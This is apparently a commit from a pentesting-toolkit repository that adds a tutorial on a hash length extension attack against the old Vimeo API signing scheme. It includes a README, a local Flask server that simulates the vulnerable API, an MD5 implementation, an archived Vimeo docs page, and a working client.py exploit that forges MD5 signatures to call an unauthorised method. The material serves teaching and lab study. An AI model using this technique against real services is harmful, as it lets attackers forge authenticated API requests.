mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-02 06:46:07 -04:00
some small fixes
This commit is contained in:
parent
4f8d5148af
commit
16757b10ac
412 changed files with 139509 additions and 0 deletions
|
@ -0,0 +1,55 @@
|
|||
Hash Extension Attack at the Vimeo API
|
||||
======================================
|
||||
|
||||
This tutorial is a slight adaptation of Filippo Valsorda's presentation. The example here should not work currently, but it was a vulnerability a couple of years ago.
|
||||
|
||||
The problem presented here shows how to exploit a poor choice combination of information in an API hash-function.
|
||||
|
||||
TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.
|
||||
|
||||
|
||||
MD5
|
||||
---
|
||||
|
||||
MD5 hashes can't be reversed and are nearly unique (accidental collisions are extremely rare, although possible).
|
||||
|
||||
|
||||
The Vulnerability
|
||||
-----------------
|
||||
|
||||
* A signature is created from a hashed string. This string is a composed of:
|
||||
|
||||
[ PASSWORD ]["api_key"+ api_key ]["method" + method]
|
||||
|
||||
Where password is just the user password and method is the action, for example "vimeo.test.login".
|
||||
|
||||
* This signature is hashed and added as the API signature.
|
||||
|
||||
* Vulnerability 1: if we can see the hash, we can add code to it (extend).
|
||||
|
||||
* Vulnerability 2: the secret is attached to the string that was hashed.
|
||||
|
||||
* Vulnerability 3: all the other components (except the secret) is passed in the plaintext in the request.
|
||||
|
||||
|
||||
The Exploit
|
||||
-----------
|
||||
|
||||
* If an attacker can see a request, she can extend the signature hash with any exploit. For example, she could add the method "vimeo.videos.setFavorite"
|
||||
|
||||
* The API signature is now formed by hashing the entire new request.
|
||||
|
||||
|
||||
HOW TO RUN THIS EXAMPLE
|
||||
-----------------------
|
||||
|
||||
* In one terminal run
|
||||
$ python server.py
|
||||
|
||||
* Copy the values
|
||||
api_key cdd56f298e71493b9b1015c691e14501
|
||||
api_sig fdffe59969293f23c197f321ff2f972e
|
||||
|
||||
to client.py and then run it.
|
||||
|
||||
* To understand what happen, look inside client.py.
|
|
@ -0,0 +1,130 @@
|
|||
"""
|
||||
Adapted from Filippo Valsorda's tutorial
|
||||
Marina Wahl, august/2014
|
||||
"""
|
||||
|
||||
from md5 import MD5
|
||||
import binascii
|
||||
import struct
|
||||
import sys
|
||||
import requests
|
||||
|
||||
|
||||
# change the values from the server at
|
||||
# localhost:4242 here
|
||||
API_KEY = '3662b89cf7b76743831420a4fd5cf2df'
|
||||
API_SIG = 'e5eaa1cb30a53f76665e7972d57f0a92'
|
||||
|
||||
|
||||
|
||||
# regular request
|
||||
old_request = {
|
||||
'method': 'vimeo.test.login',
|
||||
'api_key' : API_KEY,
|
||||
}
|
||||
|
||||
|
||||
# exploit request
|
||||
new_request = {
|
||||
'method': 'vimeo.videos.setFavorite',
|
||||
'api_key' : API_KEY,
|
||||
'video_id' : '1337',
|
||||
'favorite' : '1',
|
||||
}
|
||||
|
||||
|
||||
|
||||
# concatenate all the string
|
||||
def concatenate(req):
|
||||
res = ""
|
||||
for k, v in sorted(req.items()):
|
||||
res += k
|
||||
res += v
|
||||
return res
|
||||
|
||||
|
||||
# adapted from the function md5, just add the paddings
|
||||
def make_md5_pad(l):
|
||||
length = struct.pack('<Q', l * 8)
|
||||
padding = '\x80'
|
||||
padding += '\x00' * ((64 - len(length) - (l+1) % 64) % 64)
|
||||
padding += length
|
||||
return padding
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
# Studying the old request
|
||||
old_len = 32 + len(concatenate(old_request))
|
||||
concatenated_old = concatenate(old_request)
|
||||
old_padding = make_md5_pad(old_len)
|
||||
a = concatenate(old_request)[1:] + old_padding
|
||||
|
||||
print("--- ANALYZING THE NORMAL REQUEST ---")
|
||||
print("The length of the (old) string: ")
|
||||
print(old_len)
|
||||
print(" ")
|
||||
print("Concatenated string: ")
|
||||
print(concatenated_old)
|
||||
print(" ")
|
||||
print("Old padding:")
|
||||
print(repr(old_padding))
|
||||
print(" ")
|
||||
print("Full old request:")
|
||||
print(repr(a))
|
||||
print(" ")
|
||||
print("The length is:")
|
||||
print(len(a))
|
||||
print(" ")
|
||||
|
||||
|
||||
|
||||
# making the new string
|
||||
suffix = concatenate(new_request)
|
||||
new_padding = make_md5_pad(old_len + len(old_padding) + len(suffix))
|
||||
suffix += new_padding
|
||||
new_md5 = make_md5_pad(30)
|
||||
|
||||
print("--- APPLYING THE EXPLOIT ---")
|
||||
print("Concatenating:")
|
||||
print repr(suffix)
|
||||
print(" ")
|
||||
print("The length is:")
|
||||
print(len(suffix))
|
||||
print(" ")
|
||||
print("The new new_md5 is:")
|
||||
print(new_md5.__repr__())
|
||||
print(" ")
|
||||
print("The length is:")
|
||||
print(len(new_md5))
|
||||
print(" ")
|
||||
|
||||
# creating the new string
|
||||
md5 = MD5('')
|
||||
md5.A, md5.B, md5.C, md5.D = struct.unpack('<IIII', binascii.unhexlify(API_SIG))
|
||||
|
||||
while len(suffix):
|
||||
md5._handle(suffix[:64])
|
||||
suffix = suffix[64:]
|
||||
|
||||
new_api_sig = md5.hexdigest()
|
||||
|
||||
print("The new api_sig is then:")
|
||||
print(new_api_sig)
|
||||
print(" ")
|
||||
|
||||
# testing if it works!
|
||||
print("--- TESTING ---")
|
||||
new_request['a'] = a
|
||||
new_request['api_sig'] = new_api_sig
|
||||
url = "http://localhost:4242/api"
|
||||
data = {
|
||||
'method': 'vimeo.test.login',
|
||||
'api_key': API_KEY,
|
||||
'api_sig': API_SIG,
|
||||
}
|
||||
r = requests.post(url, data=new_request)
|
||||
print(r.text)
|
||||
print(" ")
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
# MD5 Python 2 implementation
|
||||
# Copyright (C) 2013 Filippo Valsorda
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# Originally based, even if no code survives, on a Python license work
|
||||
# by Dinu C. Gherman (C) 2001 and Aurelian Coman
|
||||
# http://starship.python.net/crew/gherman/programs/md5py/md5py.py
|
||||
|
||||
import struct
|
||||
import binascii
|
||||
import math
|
||||
|
||||
lrot = lambda x, n: (x << n) | (x >> (32 - n))
|
||||
|
||||
|
||||
class MD5():
|
||||
|
||||
A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)
|
||||
|
||||
# r specifies the per-round shift amounts
|
||||
r = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
|
||||
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
|
||||
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
|
||||
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]
|
||||
|
||||
# Use binary integer part of the sines of integers (Radians) as constants
|
||||
k = [int(math.floor(abs(math.sin(i + 1)) * (2 ** 32))) for i in range(64)]
|
||||
|
||||
def __init__(self, message):
|
||||
length = struct.pack('<Q', len(message) * 8)
|
||||
while len(message) > 64:
|
||||
self._handle(message[:64])
|
||||
message = message[64:]
|
||||
message += '\x80'
|
||||
message += '\x00' * ((64 - len(length) - len(message) % 64) % 64)
|
||||
message += length
|
||||
while len(message):
|
||||
self._handle(message[:64])
|
||||
message = message[64:]
|
||||
|
||||
def _handle(self, chunk):
|
||||
w = list(struct.unpack('<' + 'I' * 16, chunk))
|
||||
|
||||
a, b, c, d = self.A, self.B, self.C, self.D
|
||||
|
||||
for i in range(64):
|
||||
if i < 16:
|
||||
f = (b & c) | ((~b) & d)
|
||||
g = i
|
||||
elif i < 32:
|
||||
f = (d & b) | ((~d) & c)
|
||||
g = (5 * i + 1) % 16
|
||||
elif i < 48:
|
||||
f = b ^ c ^ d
|
||||
g = (3 * i + 5) % 16
|
||||
else:
|
||||
f = c ^ (b | (~d))
|
||||
g = (7 * i) % 16
|
||||
|
||||
x = b + lrot((a + f + self.k[i] + w[g]) & 0xffffffff, self.r[i])
|
||||
a, b, c, d = d, x & 0xffffffff, b, c
|
||||
|
||||
self.A = (self.A + a) & 0xffffffff
|
||||
self.B = (self.B + b) & 0xffffffff
|
||||
self.C = (self.C + c) & 0xffffffff
|
||||
self.D = (self.D + d) & 0xffffffff
|
||||
|
||||
def digest(self):
|
||||
return struct.pack('<IIII', self.A, self.B, self.C, self.D)
|
||||
|
||||
def hexdigest(self):
|
||||
return binascii.hexlify(self.digest()).decode()
|
|
@ -0,0 +1,2 @@
|
|||
Flask==0.10.1
|
||||
requests==2.3.0
|
|
@ -0,0 +1,75 @@
|
|||
"""
|
||||
adapted from Fillipo Valsorda's tutorial
|
||||
august/2014
|
||||
"""
|
||||
|
||||
import os
|
||||
import binascii
|
||||
import md5
|
||||
import urlparse
|
||||
from flask import Flask, request, abort, render_template
|
||||
|
||||
|
||||
PORT = 4242
|
||||
USER_ID = 42
|
||||
USER_NAME = "Jack"
|
||||
API_KEY = binascii.hexlify(os.urandom(16))
|
||||
API_SECRET = binascii.hexlify(os.urandom(16))
|
||||
app = Flask(__name__)
|
||||
|
||||
|
||||
|
||||
|
||||
def sign_req(values, secret):
|
||||
s = secret
|
||||
for k, v in sorted(values.items()):
|
||||
s += k
|
||||
s += v
|
||||
return md5.MD5(s).hexdigest()
|
||||
|
||||
|
||||
@app.route('/')
|
||||
def show_info():
|
||||
req = {
|
||||
"method": "vimeo.test.login",
|
||||
"api_key": API_KEY
|
||||
}
|
||||
|
||||
return render_template('info.html',
|
||||
user_id=USER_ID, api_key=API_KEY, user_name=USER_NAME,
|
||||
api_sig=sign_req(req, API_SECRET))
|
||||
|
||||
@app.route('/api', methods=['POST'])
|
||||
def handle_api():
|
||||
values = dict(urlparse.parse_qsl(request.get_data()))
|
||||
|
||||
if not 'api_sig' in values: abort(400)
|
||||
if not 'api_key' in values: abort(400)
|
||||
if not 'method' in values: abort(400)
|
||||
|
||||
if values['api_key'] != API_KEY: abort(403)
|
||||
api_sig = values['api_sig']
|
||||
del values['api_sig']
|
||||
if sign_req(values, API_SECRET) != api_sig: abort(403)
|
||||
|
||||
if values["method"] == "vimeo.test.login":
|
||||
return render_template("user.xml", user_id=USER_ID, user_name=USER_NAME)
|
||||
|
||||
elif values["method"] == "vimeo.videos.setFavorite":
|
||||
if not 'video_id' in values: abort(400)
|
||||
if not 'favorite' in values: abort(400)
|
||||
|
||||
if values["video_id"] != '1337': abort(404)
|
||||
|
||||
return render_template("ok.xml")
|
||||
|
||||
else:
|
||||
abort(404)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.debug = True
|
||||
app.run(port=PORT)
|
Binary file not shown.
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
After Width: | Height: | Size: 7.4 KiB |
Binary file not shown.
After Width: | Height: | Size: 1.3 KiB |
Binary file not shown.
After Width: | Height: | Size: 1.1 KiB |
|
@ -0,0 +1,444 @@
|
|||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html><head><title>Signing API Calls</title><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><link rel="canonical" href="http://archive.is/xte1C"/></head><body style="margin:0;background-color:white;width:1024px"><div class="html1" style="width: 1024px;text-align: left;overflow-x: auto;overflow-y: auto; background-color: rgb(231, 231, 222);position: relative;min-height: 1111px;; z-index: 0"><div class="html" style="text-align:left;overflow-x:visible;overflow-y:visible;margin: 0px; padding: 0px; ">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<meta name="description" content="Use Vimeo to share your videos with only the people you want to. We have a bunch of privacy options so you can choose exactly who can see your videos, like just your friends or everybody."/>
|
||||
<meta name="keywords" content="video,video sharing,digital cameras,videoblog,vidblog,video blogging,home video,home movie,lip dub"/>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="body" style="vertical-align:bottom;min-height:1041px;color:rgb(0, 0, 0);text-align:left;font-family:verdana, sans-serif;min-width:800px;overflow-x:visible;overflow-y:visible;margin: 0px; padding: 0px; "><div style="text-align:left;position:relative;min-height:70px;min-width:800px;display:none;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;margin: 0px; padding: 0px; ">
|
||||
<div style="position:absolute;min-width:780px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABBJREFUeNpi+v///zOAAAMACewD5vzlV+IAAAAASUVORK5CYII=);text-align:center;-webkit-box-shadow:rgb(51, 51, 51) 1px 1px 3px;box-shadow:rgb(51, 51, 51) 1px 1px 3px;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;border-width: medium 5px 5px; border-style: none solid solid; margin: 0px; padding: 0px; border-color: white rgb(0, 0, 0) rgb(0, 0, 0); ">
|
||||
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:100%;margin: 0px; padding: 0px; "><tbody style="margin: 0px; padding: 0px; "><tr style="margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(0, 0, 0);vertical-align:top;min-width:110px;margin: 0px; padding: 10px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/" target="_blank" title="Wayback Machine home page" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Wayback Machine" src="3a9f28ab386fe482d4f126969618a9d717b44b86.png" style="height:39px;width:110px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
</td>
|
||||
<td style="color:rgb(0, 0, 0);text-align:center;vertical-align:top;width:100%;margin: 0px; padding: 0px; ">
|
||||
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:570px;margin: 0px auto; padding: 0px; "><tbody style="margin: 0px; padding: 0px; "><tr style="margin: 0px; padding: 0px; ">
|
||||
<td colspan="2" style="color:rgb(0, 0, 0);margin: 0px; padding: 3px 0px; ">
|
||||
<form action="javascript:void(0)" method="get" target="_top" style="margin: 0px; padding: 0px; "><input name="url" value="http://vimeo.com/api/docs/signing" style="text-align:left;width:400px;font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="hidden" name="type" value="replay" style="text-align:left;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="hidden" name="date" value="20090305043551" style="text-align:left;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="submit" value="Go" style="font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;width:inherit;outline: invert none 0px; margin: 0px 0px 0px 5px; padding: 0px; "/><span style="display:block;margin: 0px; padding: 0px; "></span></form>
|
||||
</td>
|
||||
<td rowspan="2" style="color:rgb(0, 0, 0);vertical-align:bottom;margin: 0px; padding: 5px 0px 0px; ">
|
||||
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:110px;color:rgb(153, 153, 170);font-family:Helvetica, 'Lucida Grande', Arial, sans-serif;margin: 0px; padding: 0px; "><tbody style="margin: 0px; padding: 0px; ">
|
||||
|
||||
<tr style="width:110px;height:16px;font-size:10px;margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;text-transform:uppercase;text-align:right;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 9px 0px 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090204125252/http://vimeo.com/api/docs/signing" target="_blank" title="4 Feb 2009" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">FEB</strong></a>
|
||||
</td>
|
||||
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);font-weight:bold;text-transform:uppercase;width:34px;height:15px;text-align:center;font-size:11px;margin: 0px; padding: 1px 0px 0px; ">MAR</td>
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;text-transform:uppercase;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 0px 0px 9px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="7 Dec 2011" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">DEC</strong></a>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr style="margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(153, 153, 170);white-space:nowrap;overflow-x:visible;overflow-y:visible;text-align:right;vertical-align:middle;margin: 0px; padding: 0px 9px 0px 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090204125252/http://vimeo.com/api/docs/signing" target="_blank" title="12:52:52 Feb 4, 2009" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Previous capture" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAQCAYAAAAmlE46AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMZJREFUeNqU07EKQWEUwHEuSSaLkicgg3TZzCySvIKk2GVgJZmsBg9g8QK8gcHoASwGNoMS/l+db6Au3zn1W279b+fe796w779Cyimi7ymCFBbYox51CGLoYIS0XHv+C2uYynofExRmJWgG3fE7TGKMHuK/VrFhRJ7DRBmXN2XCBibIa87Ek5US2sM04Ro5DHDRhGbumMu6SzxcQztndFHGVhPaOaCKFo6a0Iz5+jcoYYira2jnhhkKWNlO83ec0EYFu7cAAwCVABzGI3/GxAAAAABJRU5ErkJggg==" style="height:16px;width:14px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
</td>
|
||||
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);width:34px;height:24px;text-align:center;font-size:24px;font-weight:bold;margin: 0px; padding: 2px 0px 0px; ">5</td>
|
||||
<td style="color:rgb(153, 153, 170);white-space:nowrap;overflow-x:visible;overflow-y:visible;text-align:left;vertical-align:middle;margin: 0px; padding: 0px 0px 0px 9px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="21:57:46 Dec 7, 2011" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Next capture" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAQCAYAAAAmlE46AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMhJREFUeNqU0s8KAUEcwPHBJjm5KHkCV+07cJHkKZRyUK6cKYeVPxd5BVcHjspB+VPKA7g4cHNQwndqp/awMb9ffdra+jazMxtx3c9UKTXCTgkmihK28JCWhG//2cARdcRtwuBkMMQGRUloJo8F5shJQjMV/9D6SElCPQk0cUINMdvQTBYTHFCWhGaSeheOILihiwGeNuELM7RxNS//hUu0sLe9jjOqKIRFYSve0fP/nsevrTiBVfV3dHCxOSkdrjDGWnInXwEGAM40IjLd/vWIAAAAAElFTkSuQmCC" style="height:16px;width:14px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr style="width:110px;height:13px;font-size:9px;margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;text-align:right;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 9px 0px 0px; ">
|
||||
2008 </td>
|
||||
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);font-weight:bold;width:34px;height:13px;text-align:center;font-size:11px;margin: 0px; padding: 1px 0px 0px; ">2009</td>
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 0px 0px 9px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="7 Dec 2011" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">2011</strong></a>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody></table>
|
||||
</td>
|
||||
</tr>
|
||||
<tr style="margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(0, 0, 0);vertical-align:middle;margin: 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551*/http://vimeo.com/api/docs/signing" target="_blank" title="See a list of every capture for this URL" style="text-decoration:none;cursor:pointer;color:rgb(51, 51, 255);font-size:11px;font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">36 captures</strong></a>
|
||||
<div title="Timespan for captures of this URL" style="color:rgb(102, 102, 102);font-size:9px;white-space:nowrap;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;margin: 0px; padding: 2px 0px 0px; ">27 Jul 08 - 7 Dec 11</div>
|
||||
</td>
|
||||
<td style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/signing" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;position:relative;white-space:nowrap;width:475px;height:27px;outline: invert none medium; margin: 0px; padding: 0px; ">
|
||||
<div title="Explore captures for this URL" style="position:relative;white-space:nowrap;height:27px;background-color: rgb(255, 255, 255); cursor:pointer;border-right-color:rgb(204, 204, 204);width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;border-width: medium 1px medium medium; border-style: none solid none none; margin: 0px; padding: 0px; ">
|
||||
<img alt="sparklines" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdsAAAAbCAYAAAA05SU0AAABUElEQVR42u3VwQmEMABFwdTp2XI8WlZKsYcYBQ8GUcEEQSfgZVkYyBdfiDGm0PgwGAwGg/FnY0Xy6Vo+DAaD8baRP3fLBzXdM/qx5WOPfxliy2AwxFZsGWLLYDAYYmtzsTUIg8EQW7FliC2DwWCILUNsGQwGQ2xtLrYui8FgfCW2V9EVW4bYMhgMhtjaXGwNwmAwxFZsGWLLYDDEVmwZYstgMBhia3OxNQiDwRBbsWWILYPBYIgtQ2wZDAZDbG0uti6LwWCIrdgyxJbBYDDE1uZiaxAGgyG2Yiu2YstgMMRWbBliy2AwGE+MMrJiyxBbBoPBEFubi61BGAzGN2O7/S62DLFlMBiMSrEto3sU2+23KQzrI7ZHd+XdFVsGgyG2Yiu2YstgMBhiK7Zi67IYDIbYiq3Y1ohtaHwYDAbjRSNdPLv/FcYutvY4vSvv7smZAb6UKOzjufhcAAAAAElFTkSuQmCC" style="height:27px;width:475px;position:absolute;z-index:9012;top:0px;left:0px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP4/5/hPwAH/QL+ecrXpAAAAABJRU5ErkJggg==" style="height:27px;width:25px;display:none;position:absolute;z-index:9010;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAA1JREFUCNdjeMPQ8x8ABcwCeP+6qaAAAAAASUVORK5CYII=" style="height:27px;width:2px;display:none;position:absolute;z-index:9011;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</div>
|
||||
</a>
|
||||
</td>
|
||||
</tr></tbody></table>
|
||||
</td>
|
||||
<td style="color:rgb(0, 0, 0);text-align:right;width:65px;font-size:11px;margin: 0px; padding: 5px; ">
|
||||
<a href="#" title="Close the toolbar" style="text-decoration:none;cursor:pointer;display:block;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAYAAABWdVznAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALZJREFUeNpskjEKAkEMRYOthYrrggq2FoqohQfWRm30CCqiIngAm232GAqzP5CsMWTgFUn+Z8ifoUREYAw2IJfa0gFrMOOaGxPwBgncQebEZ5kVYM7NnTSSMbVA04iVIxuGIrKDKzi53guM9OosMHlxX3dQ2uASiB92rwb9zlfwh3ufugrSiKjTI8nei5/gFpgGbNgGC3YlWh/EgQ0LeZS/NIL0SrDSwRTs+crga/TkcZdcVwIMAJcy0EgSRh1cAAAAAElFTkSuQmCC);color:rgb(51, 51, 255);font-family:'Lucida Grande', Arial, sans-serif;background-color: transparent; background-position: 100% 0px; background-repeat: no-repeat; outline: invert none medium; border-width: medium; border-style: none; margin: 0px 0px 23px; padding: 0px 18px 0px 0px; border-color: white; ">Close</a>
|
||||
<a href="https://archive.today/o/xte1C/http://faq.web.archive.org/" target="_blank" title="Get some help using the Wayback Machine" style="text-decoration:none;cursor:pointer;display:block;background-image:url(6ae3619c0c6aa84fbcbcba969fa291f5e6bd224a.png);color:rgb(51, 51, 255);font-family:'Lucida Grande', Arial, sans-serif;background-color: transparent; background-position: 100% 0px; background-repeat: no-repeat; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px 18px 0px 0px; border-color: white; ">Help</a>
|
||||
</td>
|
||||
</tr></tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAA9JREFUeNpiZmBgOAMQYAAA4ADQ8vodGwAAAABJRU5ErkJggg==" style="text-align:left;position:absolute;top:0px;left:0px;z-index:100000;display:none;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<div style="text-align:left;position:absolute;top:0px;left:0px;z-index:100001;margin: 0px; padding: 0px; "></div>
|
||||
<div style="background-color: rgb(231, 231, 222); width:980px;text-align:left;margin: 0px auto; padding: 0px; ">
|
||||
<div style="position:relative;width:980px;height:85px;z-index:1111;margin: 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; "><img alt="Vimeo" src="07f1b2b386333435a97f14d828f69d4b03e60f3d.gif" style="position:absolute;left:20px;top:10px;z-index:999999;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
<div style="font-size:11px;color:rgb(255, 255, 255);margin: 0px 18px 0px 0px; padding: 0px; ">
|
||||
<ul style="z-index:999999;list-style: none outside none; margin: 0px; padding: 0px; ">
|
||||
